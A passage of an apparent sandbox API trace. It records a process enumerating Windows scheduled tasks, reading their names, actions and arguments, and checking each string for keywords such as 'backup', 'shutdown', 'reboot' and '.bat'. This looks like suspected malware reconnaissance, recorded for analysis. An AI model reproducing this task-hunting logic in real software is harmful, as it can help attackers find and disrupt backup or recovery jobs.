index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2652e48) returned 0x0 [0046.096] IRegisteredTask:get_Name (in: This=0x2652e48, pName=0x2ffadc | out: pName=0x2ffadc*="SessionAgent") returned 0x0 [0046.096] IRegisteredTask:get_State (in: This=0x2652e48, pState=0x2ffae0 | out: pState=0x2ffae0*=1) returned 0x0 [0046.097] IUnknown:Release (This=0x2652e48) returned 0x0 [0046.098] IRegisteredTaskCollection:get_Item (in: This=0x2650ac0, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2652e48) returned 0x0 [0046.098] IRegisteredTask:get_Name (in: This=0x2652e48, pName=0x2ffadc | out: pName=0x2ffadc*="SystemDataProviders") returned 0x0 [0046.098] IRegisteredTask:get_State (in: This=0x2652e48, pState=0x2ffae0 | out: pState=0x2ffae0*=1) returned 0x0 [0046.099] IUnknown:Release (This=0x2652e48) returned 0x0 [0046.099] IUnknown:Release (This=0x2650ac0) returned 0x0 [0046.099] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2652e48) returned 0x0 [0046.099] ITaskFolderCollection:get_Count (in: This=0x2652e48, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0046.099] IUnknown:Release (This=0x2652e48) returned 0x0 [0046.099] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0046.099] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1f, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0046.099] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650a68) returned 0x0 [0046.100] IRegisteredTaskCollection:get_Count (in: This=0x2650a68, pCount=0x2ffad0 | out: pCount=0x2ffad0*=0) returned 0x0 [0046.100] IUnknown:Release (This=0x2650a68) returned 0x0 [0046.100] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2652e48) returned 0x0 [0046.100] ITaskFolderCollection:get_Count (in: This=0x2652e48, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0046.100] IUnknown:Release (This=0x2652e48) returned 0x0 [0046.100] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0046.100] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0046.100] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650a68) returned 0x0 [0046.101] IRegisteredTaskCollection:get_Count (in: This=0x2650a68, pCount=0x2ffad0 | out: pCount=0x2ffad0*=0) returned 0x0 [0046.101] IUnknown:Release (This=0x2650a68) returned 0x0 [0046.101] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2652e90) returned 0x0 [0046.101] ITaskFolderCollection:get_Count (in: This=0x2652e90, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0046.101] IUnknown:Release (This=0x2652e90) returned 0x0 [0046.101] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0046.101] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x21, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0046.101] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650a68) returned 0x0 [0046.102] IRegisteredTaskCollection:get_Count (in: This=0x2650a68, pCount=0x2ffad0 | out: pCount=0x2ffad0*=1) returned 0x0 [0046.102] IRegisteredTaskCollection:get_Item (in: This=0x2650a68, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2652e48) returned 0x0 [0046.102] IRegisteredTask:get_Name (in: This=0x2652e48, pName=0x2ffadc | out: pName=0x2ffadc*="SR") returned 0x0 [0046.102] IRegisteredTask:get_State (in: This=0x2652e48, pState=0x2ffae0 | out: pState=0x2ffae0*=2) returned 0x0 [0046.103] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x6) returned 0x4e88f0 [0046.103] wcsstr (_Str="sr", _SubStr="reboot") returned 0x0 [0046.103] wcsstr (_Str="sr", _SubStr="restart") returned 0x0 [0046.103] wcsstr (_Str="sr", _SubStr="shutdown") returned 0x0 [0046.103] wcsstr (_Str="sr", _SubStr="logoff") returned 0x0 [0046.103] wcsstr (_Str="sr", _SubStr=".bat") returned 0x0 [0046.103] wcsstr (_Str="sr", _SubStr="backup") returned 0x0 [0046.103] wcsstr (_Str="sr", _SubStr=".cmd") returned 0x0 [0046.103] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e88f0) returned 1 [0046.103] IRegisteredTask:get_Definition (in: This=0x2652e48, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x2653e30) returned 0x0 [0046.115] ITaskDefinition:get_Actions (in: This=0x2653e30, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x2652e90) returned 0x0 [0046.115] IActionCollection:get_Count (in: This=0x2652e90, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0046.115] IActionCollection:get_Item (in: This=0x2652e90, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x6eff78) returned 0x0 [0046.115] IAction:get_Type (in: This=0x6eff78, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0046.115] IUnknown:QueryInterface (in: This=0x6eff78, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x6eff78) returned 0x0 [0046.115] IExecAction:get_Path (in: This=0x6eff78, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%windir%\\system32\\rundll32.exe") returned 0x0 [0046.115] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x3e) returned 0x4d28d0 [0046.116] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="reboot") returned 0x0 [0046.116] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="restart") returned 0x0 [0046.116] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="shutdown") returned 0x0 [0046.116] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="logoff") returned 0x0 [0046.116] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".bat") returned 0x0 [0046.116] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="backup") returned 0x0 [0046.116] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".cmd") returned 0x0 [0046.116] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d28d0) returned 1 [0046.116] IExecAction:get_Arguments (in: This=0x6eff78, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="/d srrstr.dll,ExecuteScheduledSPPCreation") returned 0x0 [0046.116] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x54) returned 0x4e91d0 [0046.116] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="reboot") returned 0x0 [0046.116] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="restart") returned 0x0 [0046.116] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="shutdown") returned 0x0 [0046.116] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="logoff") returned 0x0 [0046.116] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr=".bat") returned 0x0 [0046.116] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr="backup") returned 0x0 [0046.116] wcsstr (_Str="/d srrstr.dll,executescheduledsppcreation", _SubStr=".cmd") returned 0x0 [0046.116] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e91d0) returned 1 [0046.116] IUnknown:Release (This=0x6eff78) returned 0x2 [0046.116] IUnknown:Release (This=0x6eff78) returned 0x1 [0046.116] IUnknown:Release (This=0x2652e90) returned 0x1 [0046.116] IUnknown:Release (This=0x2653e30) returned 0x0 [0046.116] IUnknown:Release (This=0x2652e48) returned 0x0 [0046.116] IUnknown:Release (This=0x2650a68) returned 0x0 [0046.116] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2652e48) returned 0x0 [0046.117] ITaskFolderCollection:get_Count (in: This=0x2652e48, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0046.117] IUnknown:Release (This=0x2652e48) returned 0x0 [0046.117] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0046.117] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x22, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0046.117] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650a68) returned 0x0 [0046.118] IRegisteredTaskCollection:get_Count (in: This=0x2650a68, pCount=0x2ffad0 | out: pCount=0x2ffad0*=0) returned 0x0 [0046.118] IUnknown:Release (This=0x2650a68) returned 0x0 [0046.118] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2652e90) returned 0x0 [0046.118] ITaskFolderCollection:get_Count (in: This=0x2652e90, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0046.118] IUnknown:Release (This=0x2652e90) returned 0x0 [0046.118] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0046.118] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x23, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0046.118] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2650ac0) returned 0x0 [0046.119] IRegisteredTaskCollection:get_Count (in: This=0x2650ac0, pCount=0x2ffad0 | out: pCount=0x2ffad0*=2) returned 0x0 [0046.119] IRegisteredTaskCollection:get_Item (in: This=0x2650ac0, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2652e90) returned 0x0 [0046.119] IRegisteredTask:get_Name (in: This=0x2652e90, pName=0x2ffadc | out: pName=0x2ffadc*="IpAddressConflict1") returned 0x0 [0046.119] IRegisteredTask:get_State (in: This=0x2652e90, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0046.120] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x26) returned 0x4d8890 [0046.120] wcsstr (_Str="ipaddressconflict1", _SubStr="reboot") returned 0x0 [0046.120] wcsstr (_Str="ipaddressconflict1", _SubStr="restart") returned 0x0 [0046.120] wcsstr (_Str="ipaddressconflict1", _SubStr="shutdown") returned 0x0 [0046.120] wcsstr (_Str="ipaddressconflict1", _SubStr="logoff") returned 0x0 [0046.120] wcsstr (_Str="ipaddressconflict1", _SubStr=".bat") returned 0x0 [0046.120] wcsstr (_Str="ipaddressconflict1", _SubStr="backup") returned 0x0 [0046.120] wcsstr (_Str="ipaddressconflict1", _SubStr=".cmd") returned 0x0 [0046.120] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0046.121] IRegisteredTask:get_Definition (in: This=0x2652e90, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x2653e30) returned 0x0 [0046.129] ITaskDefinition:get_Actions (in: This=0x2653e30, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x2652ed8) returned 0x0 [0046.130] IActionCollection:get_Count (in: This=0x2652ed8, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0046.130] IActionCollection:get_Item (in: This=0x2652ed8, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2653ff0) returned 0x0 [0046.130] IAction:get_Type (in: This=0x2653ff0, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0046.130] IUnknown:QueryInterface (in: This=0x2653ff0, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2653ff0) returned 0x0 [0046.130] IExecAction:get_Path (in: This=0x2653ff0, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%windir%\\system32\\rundll32.exe") returned 0x0 [0046.130] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x3e) returned 0x4d28d0 [0046.130] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="reboot") returned 0x0 [0046.130] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="restart") returned 0x0 [0046.130] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="shutdown") returned 0x0 [0046.130] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="logoff") returned 0x0 [0046.130] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".bat") returned 0x0 [0046.130] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="backup") returned 0x0 [0046.130] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".cmd") returned 0x0 [0046.130] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d28d0) returned 1 [0046.130] IExecAction:get_Arguments (in: This=0x2653ff0, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="ndfapi.dll,NdfRunDllDuplicateIPOffendingSystem") returned 0x0 [0046.130] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x5e) returned 0x4e9280 [0046.130] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="reboot") returned 0x0 [0046.130] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="restart") returned 0x0 [0046.130] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="shutdown") returned 0x0 [0046.130] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="logoff") returned 0x0 [0046.130] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr=".bat") returned 0x0 [0046.130] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="backup") returned 0x0 [0046.130] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr=".cmd") returned 0x0 [0046.130] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e9280) returned 1 [0046.130] IUnknown:Release (This=0x2653ff0) returned 0x2 [0046.130] IUnknown:Release (This=0x2653ff0) returned 0x1 [0046.130] IUnknown:Release (This=0x2652ed8) returned 0x1 [0046.130] IUnknown:Release (This=0x2653e30) returned 0x0 [0046.130] IUnknown:Release (This=0x2652e90) returned 0x0 [0046.131] IRegisteredTaskCollection:get_Item (in: This=0x2650ac0, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2652e90) returned 0x0 [0046.131] IRegisteredTask:get_Name (in: This=0x2652e90, pName=0x2ffadc | out: pName=0x2ffadc*="IpAddressConflict2") returned 0x0 [0046.131] IRegisteredTask:get_State (in: This=0x2652e90, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0046.132] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x26) returned 0x4d8890 [0046.132] wcsstr (_Str="ipaddressconflict2", _SubStr="reboot") returned 0x0 [0046.132] wcsstr (_Str="ipaddressconflict2", _SubStr="restart") returned 0x0 [0046.132] wcsstr (_Str="ipaddressconflict2", _SubStr="shutdown") returned 0x0 [0046.132] wcsstr (_Str="ipaddressconflict2", _SubStr="logoff") returned 0x0 [0046.132] wcsstr (_Str="ipaddressconflict2", _SubStr=".bat") returned 0x0 [0046.132] wcsstr (_Str="ipaddressconflict2", _SubStr="backup") returned 0x0 [0046.132] wcsstr (_Str="ipaddressconflict2", _SubStr=".cmd") returned 0x0 [0046.132] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0046.132] IRegisteredTask:get_Definition (in: This=0x2652e90, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x2653e30) returned 0x0 [0046.140] ITaskDefinition:get_Actions (in: This=0x2653e30, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x2652ed8) returned 0x0 [0046.140] IActionCollection:get_Count (in: This=0x2652ed8, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0046.140] IActionCollection:get_Item (in: This=0x2652ed8, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x26540b0) returned 0x0 [0046.140] IAction:get_Type (in: This=0x26540b0, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0046.140] IUnknown:QueryInterface (in: This=0x26540b0, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x26540b0) returned 0x0 [0046.140] IExecAction:get_Path (in: This=0x26540b0, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%windir%\\system32\\rundll32.exe") returned 0x0 [0046.140] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x3e) returned 0x4d28d0 [0046.140] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="reboot") returned 0x0 [0046.140] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="restart") returned 0x0 [0046.140] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="shutdown") returned 0x0 [0046.140] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="logoff") returned 0x0 [0046.140] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".bat") returned 0x0 [0046.140] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="backup") returned 0x0 [0046.140] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".cmd") returned 0x0 [0046.140] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d28d0) returned 1 [0046.141] IExecAction:get_Arguments (in: This=0x26540b0, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="ndfapi.dll,NdfRunDllDuplicateIPDefendingSystem") returned 0x0 [0046.141] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x5e) returned 0x4e9280 [0046.141] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="reboot") returned 0x0 [0046.141] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="restart") returned 0x0 [0046.141] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="shutdown") returned 0x0 [0046.141] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="logoff") returned 0x0 [0046.141] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr=".bat") returned 0x0 [0046.141] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="backup") returned 0x0 [0046.141] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr=".cmd") returned 0x0 [0046.141] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e9280) returned 1 [0046.141] IUnknown:Release (This=0x26540b0) returned 0x2 [0046.141] IUnknown:Release (This=0x26540b0) returned 0x1 [0046.141] IUnknown:Release (This=0x2652ed8) returned 0x1 [0046.141] IUnknown:Release (This=0x2653e30) returned 0x0 [0046.141] IUnknown:Release (This=0x2652e90) returned 0x0 [0046.141] IUnknown:Release (This=0x2650ac0) returned 0x0 [0046.141] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2652e48) returned 0x0 [0046.141] ITaskFolderCollection:get_Count (in: This=0x2652e48, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0046.141] IUnknown:Release (This=0x2652e48) returned 0x0 [0046.141] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0046.141] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x24, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0046.142] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2654030) returned 0x0 [0046.142] IRegisteredTaskCollection:get_Count (in: This=0x2654030, pCount=0x2ffad0 | out: pCount=0x2ffad0*=0) returned 0x0 [0046.142] IUnknown:Release (This=0x2654030) returned 0x0 [0046.142] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2652e48) returned 0x0 [0046.142] ITaskFolderCollection:get_Count (in: This=0x2652e48, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0046.142] IUnknown:Release (This=0x2652e48) returned 0x0 [0046.142] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0046.142] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x25, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0046.142] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2654030) returned 0x0 [0046.143] IRegisteredTaskCollection:get_Count (in: This=0x2654030, pCount=0x2ffad0 | out: pCount=0x2ffad0*=1) returned 0x0 [0046.143] IRegisteredTaskCollection:get_Item (in: This=0x2654030, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2652e48) returned 0x0 [0046.143] IRegisteredTask:get_Name (in: This=0x2652e48, pName=0x2ffadc | out: pName=0x2ffadc*="SynchronizeTime") returned 0x0 [0046.143] IRegisteredTask:get_State (in: This=0x2652e48, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0046.144] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x503fb8 [0046.144] wcsstr (_Str="synchronizetime", _SubStr="reboot") returned 0x0 [0046.144] wcsstr (_Str="synchronizetime", _SubStr="restart") returned 0x0 [0046.144] wcsstr (_Str="synchronizetime", _SubStr="shutdown") returned 0x0 [0046.144] wcsstr (_Str="synchronizetime", _SubStr="logoff") returned 0x0 [0046.145] wcsstr (_Str="synchronizetime", _SubStr=".bat") returned 0x0 [0046.145] wcsstr (_Str="synchronizetime", _SubStr="backup") returned 0x0 [0046.145] wcsstr (_Str="synchronizetime", _SubStr=".cmd") returned 0x0 [0046.145] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503fb8) returned 1 [0046.145] IRegisteredTask:get_Definition (in: This=0x2652e48, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x2653ea8) returned 0x0 [0046.153] ITaskDefinition:get_Actions (in: This=0x2653ea8, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x2652e90) returned 0x0 [0046.153] IActionCollection:get_Count (in: This=0x2652e90, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0046.153] IActionCollection:get_Item (in: This=0x2652e90, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x26540b0) returned 0x0 [0046.153] IAction:get_Type (in: This=0x26540b0, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0046.153] IUnknown:QueryInterface (in: This=0x26540b0, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x26540b0) returned 0x0 [0046.153] IExecAction:get_Path (in: This=0x26540b0, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%windir%\\system32\\sc.exe") returned 0x0 [0046.153] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x32) returned 0x4d9c28 [0046.153] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="reboot") returned 0x0 [0046.153] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="restart") returned 0x0 [0046.153] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="shutdown") returned 0x0 [0046.153] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="logoff") returned 0x0 [0046.153] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr=".bat") returned 0x0 [0046.153] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="backup") returned 0x0 [0046.153] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr=".cmd") returned 0x0 [0046.154] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0046.154] IExecAction:get_Arguments (in: This=0x26540b0, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="start w32time task_started") returned 0x0 [0046.154] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x36) returned 0x4d9c28 [0046.154] wcsstr (_Str="start w32time task_started", _SubStr="reboot") returned 0x0 [0046.154] wcsstr (_Str="start w32time task_started", _SubStr="restart") returned 0x0 [0046.154] wcsstr (_Str="start w32time task_started", _SubStr="shutdown") returned 0x0 [0046.154] wcsstr (_Str="start w32time task_started", _SubStr="logoff") returned 0x0 [0046.154] wcsstr (_Str="start w32time task_started", _SubStr=".bat") returned 0x0 [0046.154] wcsstr (_Str="start w32time task_started", _SubStr="backup") returned 0x0 [0046.154] wcsstr (_Str="start w32time task_started", _SubStr=".cmd") returned 0x0 [0046.154] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0046.154] IUnknown:Release (This=0x26540b0) returned 0x2 [0046.154] IUnknown:Release (This=0x26540b0) returned 0x1 [0046.154] IUnknown:Release (This=0x2652e90) returned 0x1 [0046.154] IUnknown:Release (This=0x2653ea8) returned 0x0 [0046.154] IUnknown:Release (This=0x2652e48) returned 0x0 [0046.154] IUnknown:Release (This=0x2654030) returned 0x0 [0046.154] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2652e48) returned 0x0 [0046.848] ITaskFolderCollection:get_Count (in: This=0x2652e48, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0046.848] IUnknown:Release (This=0x2652e48) returned 0x0 [0046.848] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0046.848] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x26, varVal2=0x0), 